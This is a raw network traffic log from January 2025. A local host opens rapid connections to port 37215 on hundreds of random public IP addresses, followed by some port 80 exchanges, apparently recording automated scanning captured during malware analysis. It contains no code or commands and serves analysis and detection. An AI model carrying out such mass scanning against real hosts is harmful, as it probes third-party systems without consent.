Jan 5, 2025 14:26:53.632925034 CET	56446	37215	192.168.2.13	156.24.201.129
Jan 5, 2025 14:26:53.632925987 CET	56446	37215	192.168.2.13	41.199.172.93
Jan 5, 2025 14:26:53.632925987 CET	56446	37215	192.168.2.13	197.110.82.212
Jan 5, 2025 14:26:53.632927895 CET	56446	37215	192.168.2.13	197.52.188.143
Jan 5, 2025 14:26:53.632927895 CET	56446	37215	192.168.2.13	197.126.35.212
Jan 5, 2025 14:26:53.632945061 CET	56446	37215	192.168.2.13	197.8.220.82
Jan 5, 2025 14:26:53.632945061 CET	56446	37215	192.168.2.13	41.206.36.22
Jan 5, 2025 14:26:53.632953882 CET	56446	37215	192.168.2.13	156.66.4.53
Jan 5, 2025 14:26:53.632968903 CET	56446	37215	192.168.2.13	41.137.132.96
Jan 5, 2025 14:26:53.632970095 CET	56446	37215	192.168.2.13	41.64.61.176
Jan 5, 2025 14:26:53.632976055 CET	56446	37215	192.168.2.13	156.108.45.82
Jan 5, 2025 14:26:53.632977009 CET	56446	37215	192.168.2.13	156.32.242.114
Jan 5, 2025 14:26:53.632988930 CET	56446	37215	192.168.2.13	197.244.171.79
Jan 5, 2025 14:26:53.632992029 CET	56446	37215	192.168.2.13	41.73.84.210
Jan 5, 2025 14:26:53.632997036 CET	56446	37215	192.168.2.13	197.125.230.154
Jan 5, 2025 14:26:53.632998943 CET	56446	37215	192.168.2.13	41.176.86.185
Jan 5, 2025 14:26:53.633013010 CET	56446	37215	192.168.2.13	197.114.247.96
Jan 5, 2025 14:26:53.633014917 CET	56446	37215	192.168.2.13	41.15.208.111
Jan 5, 2025 14:26:53.633029938 CET	56446	37215	192.168.2.13	156.35.131.188
Jan 5, 2025 14:26:53.633033037 CET	56446	37215	192.168.2.13	41.111.134.64
Jan 5, 2025 14:26:53.633033037 CET	56446	37215	192.168.2.13	197.85.46.124
Jan 5, 2025 14:26:53.633033037 CET	56446	37215	192.168.2.13	197.158.204.115
Jan 5, 2025 14:26:53.633039951 CET	56446	37215	192.168.2.13	197.100.243.198
Jan 5, 2025 14:26:53.633049965 CET	56446	37215	192.168.2.13	156.144.227.61
Jan 5, 2025 14:26:53.633054018 CET	56446	37215	192.168.2.13	197.216.98.128
Jan 5, 2025 14:26:53.633054972 CET	56446	37215	192.168.2.13	41.58.227.9
Jan 5, 2025 14:26:53.633058071 CET	56446	37215	192.168.2.13	41.65.104.172
Jan 5, 2025 14:26:53.633064985 CET	56446	37215	192.168.2.13	41.141.48.180
Jan 5, 2025 14:26:53.633065939 CET	56446	37215	192.168.2.13	197.105.111.225
Jan 5, 2025 14:26:53.633068085 CET	56446	37215	192.168.2.13	197.135.237.191
Jan 5, 2025 14:26:53.633085966 CET	56446	37215	192.168.2.13	156.119.242.5
Jan 5, 2025 14:26:53.633086920 CET	56446	37215	192.168.2.13	197.99.122.1
Jan 5, 2025 14:26:53.633093119 CET	56446	37215	192.168.2.13	41.14.213.70
Jan 5, 2025 14:26:53.633114100 CET	56446	37215	192.168.2.13	197.69.208.219
Jan 5, 2025 14:26:53.633116961 CET	56446	37215	192.168.2.13	197.99.52.106
Jan 5, 2025 14:26:53.633116961 CET	56446	37215	192.168.2.13	197.92.52.90
Jan 5, 2025 14:26:53.633120060 CET	56446	37215	192.168.2.13	41.207.156.73
Jan 5, 2025 14:26:53.633121967 CET	56446	37215	192.168.2.13	41.4.51.16
Jan 5, 2025 14:26:53.633126974 CET	56446	37215	192.168.2.13	156.151.6.43
Jan 5, 2025 14:26:53.633130074 CET	56446	37215	192.168.2.13	41.50.211.115
Jan 5, 2025 14:26:53.633130074 CET	56446	37215	192.168.2.13	41.83.239.139
Jan 5, 2025 14:26:53.633131027 CET	56446	37215	192.168.2.13	41.120.169.217
Jan 5, 2025 14:26:53.633131027 CET	56446	37215	192.168.2.13	41.138.72.64
Jan 5, 2025 14:26:53.633131981 CET	56446	37215	192.168.2.13	156.200.215.8
Jan 5, 2025 14:26:53.633136034 CET	56446	37215	192.168.2.13	197.177.137.50
Jan 5, 2025 14:26:53.633136988 CET	56446	37215	192.168.2.13	197.210.96.234
Jan 5, 2025 14:26:53.633142948 CET	56446	37215	192.168.2.13	197.33.31.61
Jan 5, 2025 14:26:53.633153915 CET	56446	37215	192.168.2.13	156.67.187.133
Jan 5, 2025 14:26:53.633158922 CET	56446	37215	192.168.2.13	197.198.62.116
Jan 5, 2025 14:26:53.633172989 CET	56446	37215	192.168.2.13	41.147.159.14
Jan 5, 2025 14:26:53.633177996 CET	56446	37215	192.168.2.13	41.171.249.119
Jan 5, 2025 14:26:53.633177996 CET	56446	37215	192.168.2.13	41.133.27.221
Jan 5, 2025 14:26:53.633181095 CET	56446	37215	192.168.2.13	156.193.70.147
Jan 5, 2025 14:26:53.633188009 CET	56446	37215	192.168.2.13	156.101.242.211
Jan 5, 2025 14:26:53.633200884 CET	56446	37215	192.168.2.13	156.36.83.162
Jan 5, 2025 14:26:53.633204937 CET	56446	37215	192.168.2.13	41.190.50.114
Jan 5, 2025 14:26:53.633215904 CET	56446	37215	192.168.2.13	156.55.40.76
Jan 5, 2025 14:26:53.633222103 CET	56446	37215	192.168.2.13	156.244.254.207
Jan 5, 2025 14:26:53.633224964 CET	56446	37215	192.168.2.13	156.31.194.123
Jan 5, 2025 14:26:53.633239985 CET	56446	37215	192.168.2.13	41.119.172.92
Jan 5, 2025 14:26:53.633269072 CET	56446	37215	192.168.2.13	197.106.206.201
Jan 5, 2025 14:26:53.633269072 CET	56446	37215	192.168.2.13	197.228.19.141
Jan 5, 2025 14:26:53.633269072 CET	56446	37215	192.168.2.13	156.242.46.174
Jan 5, 2025 14:26:53.633270025 CET	56446	37215	192.168.2.13	156.26.51.93
Jan 5, 2025 14:26:53.633270025 CET	56446	37215	192.168.2.13	197.143.241.154
Jan 5, 2025 14:26:53.633270025 CET	56446	37215	192.168.2.13	41.75.214.153
Jan 5, 2025 14:26:53.633270979 CET	56446	37215	192.168.2.13	41.45.200.91
Jan 5, 2025 14:26:53.633270025 CET	56446	37215	192.168.2.13	41.115.104.75
Jan 5, 2025 14:26:53.633280039 CET	56446	37215	192.168.2.13	197.250.3.202
Jan 5, 2025 14:26:53.633290052 CET	56446	37215	192.168.2.13	197.74.254.181
Jan 5, 2025 14:26:53.633291006 CET	56446	37215	192.168.2.13	41.20.0.213
Jan 5, 2025 14:26:53.633291006 CET	56446	37215	192.168.2.13	197.192.173.255
Jan 5, 2025 14:26:53.633291006 CET	56446	37215	192.168.2.13	41.147.121.13
Jan 5, 2025 14:26:53.633291006 CET	56446	37215	192.168.2.13	41.32.38.66
Jan 5, 2025 14:26:53.633291006 CET	56446	37215	192.168.2.13	41.189.73.133
Jan 5, 2025 14:26:53.633291960 CET	56446	37215	192.168.2.13	41.180.28.87
Jan 5, 2025 14:26:53.633291006 CET	56446	37215	192.168.2.13	41.202.136.125
Jan 5, 2025 14:26:53.633296013 CET	56446	37215	192.168.2.13	41.173.66.136
Jan 5, 2025 14:26:53.633292913 CET	56446	37215	192.168.2.13	197.168.23.131
Jan 5, 2025 14:26:53.633296013 CET	56446	37215	192.168.2.13	197.233.119.234
Jan 5, 2025 14:26:53.633291006 CET	56446	37215	192.168.2.13	156.118.155.249
Jan 5, 2025 14:26:53.633296013 CET	56446	37215	192.168.2.13	156.236.177.209
Jan 5, 2025 14:26:53.633296013 CET	56446	37215	192.168.2.13	41.91.162.178
Jan 5, 2025 14:26:53.633305073 CET	56446	37215	192.168.2.13	156.216.22.0
Jan 5, 2025 14:26:53.633306026 CET	56446	37215	192.168.2.13	41.64.104.122
Jan 5, 2025 14:26:53.633306026 CET	56446	37215	192.168.2.13	41.195.162.52
Jan 5, 2025 14:26:53.633306980 CET	56446	37215	192.168.2.13	41.19.252.9
Jan 5, 2025 14:26:53.633307934 CET	56446	37215	192.168.2.13	156.215.13.186
Jan 5, 2025 14:26:53.633311987 CET	56446	37215	192.168.2.13	156.32.109.125
Jan 5, 2025 14:26:53.633321047 CET	56446	37215	192.168.2.13	156.169.114.6
Jan 5, 2025 14:26:53.633322954 CET	56446	37215	192.168.2.13	156.197.178.195
Jan 5, 2025 14:26:53.633325100 CET	56446	37215	192.168.2.13	156.46.14.17
Jan 5, 2025 14:26:53.633327961 CET	56446	37215	192.168.2.13	41.77.142.200
Jan 5, 2025 14:26:53.633327961 CET	56446	37215	192.168.2.13	197.60.20.62
Jan 5, 2025 14:26:53.633347034 CET	56446	37215	192.168.2.13	197.200.106.218
Jan 5, 2025 14:26:53.633347034 CET	56446	37215	192.168.2.13	156.11.22.250
Jan 5, 2025 14:26:53.633347988 CET	56446	37215	192.168.2.13	41.228.72.76
Jan 5, 2025 14:26:53.633349895 CET	56446	37215	192.168.2.13	156.76.145.17
Jan 5, 2025 14:26:53.633349895 CET	56446	37215	192.168.2.13	156.239.116.189
Jan 5, 2025 14:26:53.633351088 CET	56446	37215	192.168.2.13	197.83.175.169
Jan 5, 2025 14:26:53.633351088 CET	56446	37215	192.168.2.13	41.93.124.167
Jan 5, 2025 14:26:53.633351088 CET	56446	37215	192.168.2.13	41.52.106.251
Jan 5, 2025 14:26:53.633352041 CET	56446	37215	192.168.2.13	41.148.29.228
Jan 5, 2025 14:26:53.633358002 CET	56446	37215	192.168.2.13	41.49.175.3
Jan 5, 2025 14:26:53.633358002 CET	56446	37215	192.168.2.13	41.198.176.86
Jan 5, 2025 14:26:53.633358002 CET	56446	37215	192.168.2.13	156.140.124.175
Jan 5, 2025 14:26:53.633359909 CET	56446	37215	192.168.2.13	41.103.66.64
Jan 5, 2025 14:26:53.633359909 CET	56446	37215	192.168.2.13	197.26.115.6
Jan 5, 2025 14:26:53.633361101 CET	56446	37215	192.168.2.13	197.241.190.0
Jan 5, 2025 14:26:53.633359909 CET	56446	37215	192.168.2.13	41.180.159.126
Jan 5, 2025 14:26:53.633359909 CET	56446	37215	192.168.2.13	197.85.45.214
Jan 5, 2025 14:26:53.633359909 CET	56446	37215	192.168.2.13	41.187.128.89
Jan 5, 2025 14:26:53.633377075 CET	56446	37215	192.168.2.13	41.7.105.200
Jan 5, 2025 14:26:53.633378983 CET	56446	37215	192.168.2.13	197.75.226.0
Jan 5, 2025 14:26:53.633379936 CET	56446	37215	192.168.2.13	197.224.11.21
Jan 5, 2025 14:26:53.633380890 CET	56446	37215	192.168.2.13	156.24.101.93
Jan 5, 2025 14:26:53.633380890 CET	56446	37215	192.168.2.13	197.70.38.211
Jan 5, 2025 14:26:53.633379936 CET	56446	37215	192.168.2.13	156.98.197.52
Jan 5, 2025 14:26:53.633380890 CET	56446	37215	192.168.2.13	41.130.79.121
Jan 5, 2025 14:26:53.633380890 CET	56446	37215	192.168.2.13	197.34.23.192
Jan 5, 2025 14:26:53.633379936 CET	56446	37215	192.168.2.13	197.2.69.74
Jan 5, 2025 14:26:53.633383989 CET	56446	37215	192.168.2.13	41.153.193.59
Jan 5, 2025 14:26:53.633383989 CET	56446	37215	192.168.2.13	156.79.184.136
Jan 5, 2025 14:26:53.633409023 CET	56446	37215	192.168.2.13	197.169.137.67
Jan 5, 2025 14:26:53.633410931 CET	56446	37215	192.168.2.13	156.163.58.156
Jan 5, 2025 14:26:53.633413076 CET	56446	37215	192.168.2.13	41.4.97.121
Jan 5, 2025 14:26:53.633413076 CET	56446	37215	192.168.2.13	41.22.0.44
Jan 5, 2025 14:26:53.633414030 CET	56446	37215	192.168.2.13	41.66.25.80
Jan 5, 2025 14:26:53.633420944 CET	56446	37215	192.168.2.13	41.107.100.54
Jan 5, 2025 14:26:53.633425951 CET	56446	37215	192.168.2.13	156.24.101.193
Jan 5, 2025 14:26:53.633435011 CET	56446	37215	192.168.2.13	41.83.149.210
Jan 5, 2025 14:26:53.633445024 CET	56446	37215	192.168.2.13	41.12.35.195
Jan 5, 2025 14:26:53.633452892 CET	56446	37215	192.168.2.13	197.232.233.134
Jan 5, 2025 14:26:53.633461952 CET	56446	37215	192.168.2.13	197.101.43.19
Jan 5, 2025 14:26:53.633471966 CET	56446	37215	192.168.2.13	41.122.64.229
Jan 5, 2025 14:26:53.633481026 CET	56446	37215	192.168.2.13	197.171.178.30
Jan 5, 2025 14:26:53.633483887 CET	56446	37215	192.168.2.13	197.227.142.204
Jan 5, 2025 14:26:53.633483887 CET	56446	37215	192.168.2.13	156.229.43.83
Jan 5, 2025 14:26:53.633488894 CET	56446	37215	192.168.2.13	197.178.128.74
Jan 5, 2025 14:26:53.633493900 CET	56446	37215	192.168.2.13	156.109.90.124
Jan 5, 2025 14:26:53.633507967 CET	56446	37215	192.168.2.13	197.113.5.169
Jan 5, 2025 14:26:53.633507967 CET	56446	37215	192.168.2.13	41.192.159.56
Jan 5, 2025 14:26:53.633517981 CET	56446	37215	192.168.2.13	197.11.1.157
Jan 5, 2025 14:26:53.633527040 CET	56446	37215	192.168.2.13	156.234.245.253
Jan 5, 2025 14:26:53.633539915 CET	56446	37215	192.168.2.13	197.100.217.223
Jan 5, 2025 14:26:53.633541107 CET	56446	37215	192.168.2.13	41.220.31.197
Jan 5, 2025 14:26:53.633543015 CET	56446	37215	192.168.2.13	156.97.251.10
Jan 5, 2025 14:26:53.633543015 CET	56446	37215	192.168.2.13	197.110.185.10
Jan 5, 2025 14:26:53.633550882 CET	56446	37215	192.168.2.13	41.20.171.20
Jan 5, 2025 14:26:53.633550882 CET	56446	37215	192.168.2.13	41.216.84.6
Jan 5, 2025 14:26:53.633553982 CET	56446	37215	192.168.2.13	156.130.84.223
Jan 5, 2025 14:26:53.633553982 CET	56446	37215	192.168.2.13	41.50.246.73
Jan 5, 2025 14:26:53.633553982 CET	56446	37215	192.168.2.13	41.33.144.76
Jan 5, 2025 14:26:53.633555889 CET	56446	37215	192.168.2.13	197.150.193.210
Jan 5, 2025 14:26:53.633555889 CET	56446	37215	192.168.2.13	197.135.28.21
Jan 5, 2025 14:26:53.633575916 CET	56446	37215	192.168.2.13	197.227.55.248
Jan 5, 2025 14:26:53.633575916 CET	56446	37215	192.168.2.13	156.114.194.225
Jan 5, 2025 14:26:53.633580923 CET	56446	37215	192.168.2.13	41.163.103.55
Jan 5, 2025 14:26:53.633584976 CET	56446	37215	192.168.2.13	197.128.73.95
Jan 5, 2025 14:26:53.633589029 CET	56446	37215	192.168.2.13	156.216.95.166
Jan 5, 2025 14:26:53.633593082 CET	56446	37215	192.168.2.13	41.172.5.232
Jan 5, 2025 14:26:53.633593082 CET	56446	37215	192.168.2.13	197.55.214.138
Jan 5, 2025 14:26:53.633593082 CET	56446	37215	192.168.2.13	197.8.65.26
Jan 5, 2025 14:26:53.633596897 CET	56446	37215	192.168.2.13	156.130.65.157
Jan 5, 2025 14:26:53.633610010 CET	56446	37215	192.168.2.13	41.91.206.110
Jan 5, 2025 14:26:53.633615971 CET	56446	37215	192.168.2.13	156.124.255.184
Jan 5, 2025 14:26:53.633622885 CET	56446	37215	192.168.2.13	41.246.48.224
Jan 5, 2025 14:26:53.633630991 CET	56446	37215	192.168.2.13	156.106.222.3
Jan 5, 2025 14:26:53.633630991 CET	56446	37215	192.168.2.13	197.126.235.212
Jan 5, 2025 14:26:53.633639097 CET	56446	37215	192.168.2.13	197.72.204.68
Jan 5, 2025 14:26:53.633639097 CET	56446	37215	192.168.2.13	156.143.122.160
Jan 5, 2025 14:26:53.633642912 CET	56446	37215	192.168.2.13	156.207.196.175
Jan 5, 2025 14:26:53.633656025 CET	56446	37215	192.168.2.13	41.79.75.243
Jan 5, 2025 14:26:53.633656025 CET	56446	37215	192.168.2.13	41.129.183.242
Jan 5, 2025 14:26:53.633656979 CET	56446	37215	192.168.2.13	197.60.68.209
Jan 5, 2025 14:26:53.633673906 CET	56446	37215	192.168.2.13	41.72.34.117
Jan 5, 2025 14:26:53.633675098 CET	56446	37215	192.168.2.13	41.156.216.25
Jan 5, 2025 14:26:53.633675098 CET	56446	37215	192.168.2.13	156.12.178.164
Jan 5, 2025 14:26:53.633683920 CET	56446	37215	192.168.2.13	41.92.175.13
Jan 5, 2025 14:26:53.633693933 CET	56446	37215	192.168.2.13	41.91.61.62
Jan 5, 2025 14:26:53.633696079 CET	56446	37215	192.168.2.13	197.120.31.33
Jan 5, 2025 14:26:53.633698940 CET	56446	37215	192.168.2.13	41.55.252.12
Jan 5, 2025 14:26:53.633702993 CET	56446	37215	192.168.2.13	41.231.78.139
Jan 5, 2025 14:26:53.633708000 CET	56446	37215	192.168.2.13	197.78.5.238
Jan 5, 2025 14:26:53.633713007 CET	56446	37215	192.168.2.13	156.213.177.51
Jan 5, 2025 14:26:53.633718014 CET	56446	37215	192.168.2.13	41.33.156.88
Jan 5, 2025 14:26:53.633723021 CET	56446	37215	192.168.2.13	41.122.190.235
Jan 5, 2025 14:26:53.633733988 CET	56446	37215	192.168.2.13	197.193.196.132
Jan 5, 2025 14:26:53.633744001 CET	56446	37215	192.168.2.13	197.236.166.241
Jan 5, 2025 14:26:53.633744955 CET	56446	37215	192.168.2.13	197.1.203.45
Jan 5, 2025 14:26:53.633754969 CET	56446	37215	192.168.2.13	41.98.110.86
Jan 5, 2025 14:26:53.633758068 CET	56446	37215	192.168.2.13	197.226.239.146
Jan 5, 2025 14:26:53.633758068 CET	56446	37215	192.168.2.13	41.200.173.157
Jan 5, 2025 14:26:53.633758068 CET	56446	37215	192.168.2.13	156.75.233.119
Jan 5, 2025 14:26:53.633764982 CET	56446	37215	192.168.2.13	156.140.250.96
Jan 5, 2025 14:26:53.633773088 CET	56446	37215	192.168.2.13	156.112.211.91
Jan 5, 2025 14:26:53.633774042 CET	56446	37215	192.168.2.13	156.134.10.48
Jan 5, 2025 14:26:53.633775949 CET	56446	37215	192.168.2.13	156.255.162.68
Jan 5, 2025 14:26:53.633795023 CET	56446	37215	192.168.2.13	156.106.124.107
Jan 5, 2025 14:26:53.633795023 CET	56446	37215	192.168.2.13	41.48.147.169
Jan 5, 2025 14:26:53.633795977 CET	56446	37215	192.168.2.13	156.40.146.103
Jan 5, 2025 14:26:53.633795977 CET	56446	37215	192.168.2.13	41.172.160.77
Jan 5, 2025 14:26:53.633800983 CET	56446	37215	192.168.2.13	41.227.152.25
Jan 5, 2025 14:26:53.633800983 CET	56446	37215	192.168.2.13	197.2.105.105
Jan 5, 2025 14:26:53.633805037 CET	56446	37215	192.168.2.13	156.48.242.82
Jan 5, 2025 14:26:53.633805990 CET	56446	37215	192.168.2.13	197.186.49.8
Jan 5, 2025 14:26:53.633805990 CET	56446	37215	192.168.2.13	41.217.66.178
Jan 5, 2025 14:26:53.633810997 CET	56446	37215	192.168.2.13	156.143.215.141
Jan 5, 2025 14:26:53.633810043 CET	56446	37215	192.168.2.13	41.75.127.219
Jan 5, 2025 14:26:53.633814096 CET	56446	37215	192.168.2.13	197.46.174.20
Jan 5, 2025 14:26:53.633811951 CET	56446	37215	192.168.2.13	197.169.203.6
Jan 5, 2025 14:26:53.633826971 CET	56446	37215	192.168.2.13	41.202.66.124
Jan 5, 2025 14:26:53.633831978 CET	56446	37215	192.168.2.13	197.193.84.186
Jan 5, 2025 14:26:53.633836031 CET	56446	37215	192.168.2.13	197.169.228.2
Jan 5, 2025 14:26:53.633842945 CET	56446	37215	192.168.2.13	156.14.187.157
Jan 5, 2025 14:26:53.633842945 CET	56446	37215	192.168.2.13	41.249.193.28
Jan 5, 2025 14:26:53.633858919 CET	56446	37215	192.168.2.13	156.135.246.35
Jan 5, 2025 14:26:53.633865118 CET	56446	37215	192.168.2.13	197.26.212.83
Jan 5, 2025 14:26:53.633865118 CET	56446	37215	192.168.2.13	197.60.39.83
Jan 5, 2025 14:26:53.633882046 CET	56446	37215	192.168.2.13	41.46.254.166
Jan 5, 2025 14:26:53.633882046 CET	56446	37215	192.168.2.13	41.242.178.225
Jan 5, 2025 14:26:53.633888960 CET	56446	37215	192.168.2.13	197.99.196.206
Jan 5, 2025 14:26:53.633904934 CET	56446	37215	192.168.2.13	197.27.93.252
Jan 5, 2025 14:26:53.633904934 CET	56446	37215	192.168.2.13	41.24.239.211
Jan 5, 2025 14:26:53.633904934 CET	56446	37215	192.168.2.13	41.65.244.237
Jan 5, 2025 14:26:53.633912086 CET	56446	37215	192.168.2.13	197.142.20.44
Jan 5, 2025 14:26:53.633920908 CET	56446	37215	192.168.2.13	197.0.37.132
Jan 5, 2025 14:26:53.633927107 CET	56446	37215	192.168.2.13	41.157.227.250
Jan 5, 2025 14:26:53.633941889 CET	56446	37215	192.168.2.13	156.122.43.57
Jan 5, 2025 14:26:53.633949041 CET	56446	37215	192.168.2.13	41.79.90.166
Jan 5, 2025 14:26:53.633949995 CET	56446	37215	192.168.2.13	156.118.112.40
Jan 5, 2025 14:26:53.633965015 CET	56446	37215	192.168.2.13	156.189.82.77
Jan 5, 2025 14:26:53.633968115 CET	56446	37215	192.168.2.13	41.110.196.137
Jan 5, 2025 14:26:53.633969069 CET	56446	37215	192.168.2.13	41.88.252.19
Jan 5, 2025 14:26:53.633981943 CET	56446	37215	192.168.2.13	197.116.70.64
Jan 5, 2025 14:26:53.633986950 CET	56446	37215	192.168.2.13	156.79.11.211
Jan 5, 2025 14:26:53.633991957 CET	56446	37215	192.168.2.13	197.43.22.254
Jan 5, 2025 14:26:53.634007931 CET	56446	37215	192.168.2.13	156.106.126.156
Jan 5, 2025 14:26:53.634013891 CET	56446	37215	192.168.2.13	156.124.142.184
Jan 5, 2025 14:26:53.634017944 CET	56446	37215	192.168.2.13	156.190.119.195
Jan 5, 2025 14:26:53.634017944 CET	56446	37215	192.168.2.13	41.154.238.229
Jan 5, 2025 14:26:53.634023905 CET	56446	37215	192.168.2.13	156.223.254.163
Jan 5, 2025 14:26:53.634026051 CET	56446	37215	192.168.2.13	156.102.27.192
Jan 5, 2025 14:26:53.634031057 CET	56446	37215	192.168.2.13	156.253.220.41
Jan 5, 2025 14:26:53.634042025 CET	56446	37215	192.168.2.13	197.129.248.10
Jan 5, 2025 14:26:53.634047031 CET	56446	37215	192.168.2.13	197.165.31.211
Jan 5, 2025 14:26:53.634047031 CET	56446	37215	192.168.2.13	156.108.114.183
Jan 5, 2025 14:26:53.634061098 CET	56446	37215	192.168.2.13	41.239.34.66
Jan 5, 2025 14:26:53.634063005 CET	56446	37215	192.168.2.13	156.30.155.143
Jan 5, 2025 14:26:53.634063005 CET	56446	37215	192.168.2.13	156.198.172.121
Jan 5, 2025 14:26:53.634067059 CET	56446	37215	192.168.2.13	156.219.173.229
Jan 5, 2025 14:26:53.634069920 CET	56446	37215	192.168.2.13	197.198.46.243
Jan 5, 2025 14:26:53.634073019 CET	56446	37215	192.168.2.13	41.254.205.223
Jan 5, 2025 14:26:53.634076118 CET	56446	37215	192.168.2.13	41.155.99.198
Jan 5, 2025 14:26:53.634093046 CET	56446	37215	192.168.2.13	41.129.38.72
Jan 5, 2025 14:26:53.634094000 CET	56446	37215	192.168.2.13	41.62.17.183
Jan 5, 2025 14:26:53.634094954 CET	56446	37215	192.168.2.13	156.160.220.134
Jan 5, 2025 14:26:53.634109020 CET	56446	37215	192.168.2.13	156.51.147.133
Jan 5, 2025 14:26:53.634114027 CET	56446	37215	192.168.2.13	197.98.174.87
Jan 5, 2025 14:26:53.634120941 CET	56446	37215	192.168.2.13	41.224.229.111
Jan 5, 2025 14:26:53.634131908 CET	56446	37215	192.168.2.13	41.73.107.132
Jan 5, 2025 14:26:53.634135008 CET	56446	37215	192.168.2.13	41.128.105.113
Jan 5, 2025 14:26:53.634139061 CET	56446	37215	192.168.2.13	41.13.63.249
Jan 5, 2025 14:26:53.634140968 CET	56446	37215	192.168.2.13	41.248.159.200
Jan 5, 2025 14:26:53.634160042 CET	56446	37215	192.168.2.13	156.245.69.85
Jan 5, 2025 14:26:53.634160995 CET	56446	37215	192.168.2.13	197.12.48.207
Jan 5, 2025 14:26:53.634161949 CET	56446	37215	192.168.2.13	41.60.242.193
Jan 5, 2025 14:26:53.634161949 CET	56446	37215	192.168.2.13	197.91.55.157
Jan 5, 2025 14:26:53.634161949 CET	56446	37215	192.168.2.13	197.104.218.239
Jan 5, 2025 14:26:53.634162903 CET	56446	37215	192.168.2.13	41.64.99.149
Jan 5, 2025 14:26:53.634181976 CET	56446	37215	192.168.2.13	156.238.66.19
Jan 5, 2025 14:26:53.634181976 CET	56446	37215	192.168.2.13	197.202.227.214
Jan 5, 2025 14:26:53.634181976 CET	56446	37215	192.168.2.13	156.188.136.218
Jan 5, 2025 14:26:53.634183884 CET	56446	37215	192.168.2.13	156.37.77.38
Jan 5, 2025 14:26:53.634201050 CET	56446	37215	192.168.2.13	156.18.160.217
Jan 5, 2025 14:26:53.634202003 CET	56446	37215	192.168.2.13	41.30.24.217
Jan 5, 2025 14:26:53.634216070 CET	56446	37215	192.168.2.13	41.151.94.104
Jan 5, 2025 14:26:53.634219885 CET	56446	37215	192.168.2.13	41.244.254.65
Jan 5, 2025 14:26:53.634229898 CET	56446	37215	192.168.2.13	41.150.55.168
Jan 5, 2025 14:26:53.634234905 CET	56446	37215	192.168.2.13	156.56.79.200
Jan 5, 2025 14:26:53.634241104 CET	56446	37215	192.168.2.13	41.29.14.135
Jan 5, 2025 14:26:53.634243011 CET	56446	37215	192.168.2.13	197.116.180.245
Jan 5, 2025 14:26:53.634244919 CET	56446	37215	192.168.2.13	156.81.225.205
Jan 5, 2025 14:26:53.634253979 CET	56446	37215	192.168.2.13	197.6.5.190
Jan 5, 2025 14:26:53.634253979 CET	56446	37215	192.168.2.13	156.218.189.13
Jan 5, 2025 14:26:53.634257078 CET	56446	37215	192.168.2.13	41.211.17.111
Jan 5, 2025 14:26:53.634275913 CET	56446	37215	192.168.2.13	197.0.79.128
Jan 5, 2025 14:26:53.634278059 CET	56446	37215	192.168.2.13	197.148.126.16
Jan 5, 2025 14:26:53.634278059 CET	56446	37215	192.168.2.13	156.245.115.157
Jan 5, 2025 14:26:53.634278059 CET	56446	37215	192.168.2.13	197.42.219.190
Jan 5, 2025 14:26:53.634278059 CET	56446	37215	192.168.2.13	41.192.54.69
Jan 5, 2025 14:26:53.634290934 CET	56446	37215	192.168.2.13	156.130.200.115
Jan 5, 2025 14:26:53.634298086 CET	56446	37215	192.168.2.13	197.65.194.91
Jan 5, 2025 14:26:53.634303093 CET	56446	37215	192.168.2.13	41.20.166.249
Jan 5, 2025 14:26:53.634303093 CET	56446	37215	192.168.2.13	197.240.87.144
Jan 5, 2025 14:26:53.634316921 CET	56446	37215	192.168.2.13	156.247.50.63
Jan 5, 2025 14:26:53.634322882 CET	56446	37215	192.168.2.13	156.208.154.14
Jan 5, 2025 14:26:53.634330034 CET	56446	37215	192.168.2.13	41.192.112.113
Jan 5, 2025 14:26:53.634341002 CET	56446	37215	192.168.2.13	41.144.122.102
Jan 5, 2025 14:26:53.634341002 CET	56446	37215	192.168.2.13	197.118.137.155
Jan 5, 2025 14:26:53.634346962 CET	56446	37215	192.168.2.13	41.28.255.201
Jan 5, 2025 14:26:53.634349108 CET	56446	37215	192.168.2.13	197.203.101.17
Jan 5, 2025 14:26:53.634354115 CET	56446	37215	192.168.2.13	156.131.120.126
Jan 5, 2025 14:26:53.634361982 CET	56446	37215	192.168.2.13	197.209.154.23
Jan 5, 2025 14:26:53.634366989 CET	56446	37215	192.168.2.13	41.93.154.181
Jan 5, 2025 14:26:53.634371996 CET	56446	37215	192.168.2.13	41.51.71.236
Jan 5, 2025 14:26:53.634382010 CET	56446	37215	192.168.2.13	197.16.191.185
Jan 5, 2025 14:26:53.634396076 CET	56446	37215	192.168.2.13	197.31.46.33
Jan 5, 2025 14:26:53.634396076 CET	56446	37215	192.168.2.13	197.203.76.197
Jan 5, 2025 14:26:53.634397984 CET	56446	37215	192.168.2.13	156.36.81.103
Jan 5, 2025 14:26:53.634407043 CET	56446	37215	192.168.2.13	156.116.28.98
Jan 5, 2025 14:26:53.634408951 CET	56446	37215	192.168.2.13	41.149.198.29
Jan 5, 2025 14:26:53.634408951 CET	56446	37215	192.168.2.13	41.251.232.43
Jan 5, 2025 14:26:53.636436939 CET	80	56958	212.7.199.36	192.168.2.13
Jan 5, 2025 14:26:53.636454105 CET	80	56958	32.230.67.75	192.168.2.13
Jan 5, 2025 14:26:53.636466980 CET	80	56958	204.72.238.16	192.168.2.13
Jan 5, 2025 14:26:53.636480093 CET	80	56958	103.86.3.245	192.168.2.13
Jan 5, 2025 14:26:53.636497021 CET	56958	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:53.636502981 CET	80	56958	200.133.13.167	192.168.2.13
Jan 5, 2025 14:26:53.636507034 CET	56958	80	192.168.2.13	32.230.67.75
Jan 5, 2025 14:26:53.636512995 CET	56958	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:53.636516094 CET	56958	80	192.168.2.13	103.86.3.245
Jan 5, 2025 14:26:53.636517048 CET	80	56958	217.9.42.229	192.168.2.13
Jan 5, 2025 14:26:53.636528969 CET	80	56958	129.158.234.92	192.168.2.13
Jan 5, 2025 14:26:53.636535883 CET	56958	80	192.168.2.13	200.133.13.167
Jan 5, 2025 14:26:53.636539936 CET	80	56958	121.78.124.211	192.168.2.13
Jan 5, 2025 14:26:53.636547089 CET	56958	80	192.168.2.13	217.9.42.229
Jan 5, 2025 14:26:53.636552095 CET	80	56958	1.244.139.105	192.168.2.13
Jan 5, 2025 14:26:53.636557102 CET	56958	80	192.168.2.13	129.158.234.92
Jan 5, 2025 14:26:53.636563063 CET	56958	80	192.168.2.13	121.78.124.211
Jan 5, 2025 14:26:53.636564970 CET	80	56958	194.70.139.54	192.168.2.13
Jan 5, 2025 14:26:53.636575937 CET	80	56958	207.255.36.88	192.168.2.13
Jan 5, 2025 14:26:53.636584044 CET	56958	80	192.168.2.13	1.244.139.105
